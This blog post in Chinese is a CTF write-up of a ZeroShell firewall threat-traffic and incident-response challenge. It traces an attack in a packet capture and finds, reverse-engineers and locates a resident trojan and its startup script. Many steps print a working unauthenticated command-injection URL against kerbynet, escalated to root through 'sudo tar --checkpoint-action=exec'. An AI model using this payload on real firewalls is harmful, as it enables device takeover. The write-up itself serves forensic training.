应急响应

以“2024长城杯&CISCN-威胁流量分析-zeroshell”为例进行学习

一、题目介绍

小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

附件信息给了三个文件:

1

一个数据包、一个虚拟机、和一个部署文档.docx

二、分析:

zeroshell_1:

第一问:从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

打开附件中的数据包,分析它的流量包,从部署文档中可以知道防火墙的ip == 61.139.2.100,题目说攻击者执行了一条命令,猜测攻击为web的HTTP,在Wireshark中进行筛选:

ip.addr == 61.139.2.100 && http

2

在对数据包分析时,看到这条数据包中有关exec命令,猜测可能是这条数据包

exec命令是一个内置的shell命令,用于执行一个可执行文件,并用该文件替换当前的shell进程。这样,当执行完该文件后,shell进程就不再存在,也就不会返回到原来的shell环境中。

然后追踪这条数据包的HTTP流:

3

从上面的GET请求得知,这里攻击者执行了ps -ef的命令,才会有下面这个回显,在Referer部分发现一段flag的base64编码。

在 Linux 系统中,ps -ef 是用来查看当前系统中运行的所有进程的命令。它是系统管理员进行运维、排查问题时最常用的命令之一。

Referer部分进行解码:

4

得到第一问中会话部分的flag:flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zeroshell_2:

第二问:通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

根据题目附件中的部署文档,将防火墙在虚拟机中部署好,打开防火墙的IP地址http://61.139.2.100

5

这里我们在第一问的分析过程中,发现了攻击者利用漏洞来执行了一个攻击命令,执行了ps -ef命令,说明可能存在命令执行REC漏洞。根据第一问中GET请求的那一段payload去试着进行攻击,将执行的ps -ef命令替换其他命令

第一问中的payload:

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'

ps%20-ef替换成ls%20/看一下能否查询到根目录下面的文件

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ls%20/'%0A'

6

这里命令执行RCE漏洞执行成功,输出了根目录下面的文件名称

根据上面的payload继续构造,查找flag名称的文件:find%20/%20-name%20'flag'

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='find%20/%20-name%20'flag''%0A'

7

找到两个flag文件:

/DB/_DB.001/flag 
/Database/flag

依次读取两个flag文件,用tac命令进行读取:tac%20/Database/flag

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='tac%20/Database/flag'%0A'

8

拿到了第二问的flag:flag{c6045425-6e6e-41d0-be09-95682a4f65c4}

zeroshell_3:

第三问:找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}

要找出驻留木门的外联域名,意思就是我们现在需要去获取当前系统的网络连接、路由表、接口信息等,在linux中可以用netstat命令来显示网络状态,netstat命令参数

参数 英文助记 含义与功能
-a all 显示所有连线中的 Socket(包括正在监听 LISTEN 和已建立连接 ESTABLISHED 的)
-n numeric 直接显示数字 IP 和端口号,不尝试解析域名或服务名(这能显著提高命令执行速度)
-t tcp 仅显示 TCP 协议相关的连接
-u udp 仅显示 UDP 协议相关的连接
-l -l 仅显示处于 监听(Listening) 状态的端口
-p program 显示正在使用该 Socket 的进程 ID (PID) 和程序名称(需要 root 权限才能看全)
-r route 显示核心路由表(功能类似 route 命令)
-i interface 显示网络接口(网卡)的统计信息(如接收/发送的数据包数量、错误数)
-s statistics 按协议(TCP/UDP/ICMP 等)显示网络统计数据(如发包总数、丢包数)
-c continuous 持续刷新显示信息(默认每秒刷新一次,类似 top)

根据第一问和第二问中的paylaod,继续执行netstat -anp命令:

netstat -anp
-antp选项的意思是列出所有(a)当前的网络连接,不限制网络协议(n),以及相关进程信息(p)。
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='netstat%20-anp'%0A'

9

输出的信息比较乱,在url前加上view-source:应该更容易观察、分析

view-source:http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='netstat%20-anp'%0A'

10

这里发现一个特殊的ip,它的进程bash就是执行的木马文件,则驻留木马的外联IP地址:202.115.89.103,第三问的flag:flag{202.115.89.103}

zeroshell_4:

第四问:请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

木马进程执行的本体文件的名称,在第三问分析驻留木马文件外联IP时并且也知道了它的PID:10433,在linux每个运行中的进程在/proc下都有一个对应的目录,名称为进程ID。这些目录包含了多个文件和子目录,记录了进程的状态、资源使用等信息。

cmdline的文件,该文件包含了启动该进程时所使用的命令行参数
cwd:一个符号链接,指向进程的当前工作目录。
exe:一个符号链接,指向启动进程的可执行文件的绝对路径。
environ:包含了进程的环境变量。
fd:一个目录,包含了进程打开的所有文件的符号链接。

继续用payload来执行ls -l /proc/10433命令

view-source:http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ls%20-l%20/proc/10433'%0A'

11

或者使用linux中ps命令查看进程状态,找到PID为10433的文件就是本体文件

view-source:http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps'%0A'

12

则第四问的flag:flag{.nginx}

zeroshell_5:

第五问:请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}

这里要寻找加密密钥,我们先把.nginx文件down到本地,在第四问中我们可以知道.nginx文件在tmp/文件下,我们用cat命令查看一下

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/tmp/.nginx'%0A'

13

这里直接cat得到就是文件的ascii,不好提取,我们可以用到xxd命令只显示16进制把他的16进制提取出来,又去010_editor中导入16进制,然后保存就可以得到它的本体文件。

14

用payload输入命令:xxd -p /tmp/.nginx

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='xxd%20-p%20/tmp/.nginx'%0A'

15

将16进制保存到一个txt文件中,去010_editor中进行导入得到:

16

得到一个ELF文件,exeinfope.exe来查一下它的信息:

17

是一个32位的ELF文件,用IDA来分析一下:

shift+f12发现了特殊的字符串和驻留木马的IP地址:

18

点击跟进去:

19

ctrl+x找调用这个的函数:

20

跟进去:

21

继续找:

22

得到了 汇编代码,F5编译一下:

23

知道是off_81130C0函数调用了这个特殊的字符串

进去sub_8049C93这个函数分析一下:

24

这里sub_8049F4函数就是将传入的那段特殊字符串a2进行操作:

25

这里是HMAC 的密钥处理,整个函数复杂的字符串和整数处理,包括XOR加密/解密操作所以确定这个特殊的字符串就是加密密钥

第五问的flag:flag{11223344qweasdzxc}

zeroshell_6:

第六问:请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

这里先看一下驻留木马进程号PID的环境变量:

用payload输入命令cat /proc/10433/environ

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/proc/10433/environ'%0A'

26

看到一个当前工作目录:

/var/register/system/startup/scripts/nat

查看一下它目录下的文件:

命令:ls -la /var/register/system/startup/scripts/nat

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ls%20-la%20/var/register/system/startup/scripts/nat'%0A'

27

分别查看一下下面这个三个文件,其中在File文件下:

命令:cat /var/register/system/startup/scripts/nat/File

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/var/register/system/startup/scripts/nat/File'%0A'

28

发现确实执行了恶意程序

则第六问的flag:flag{/var/register/system/startup/scripts/nat/File}

posted @ 2025-12-17 19:17  张伟文  阅读(4)  评论(0)    收藏  举报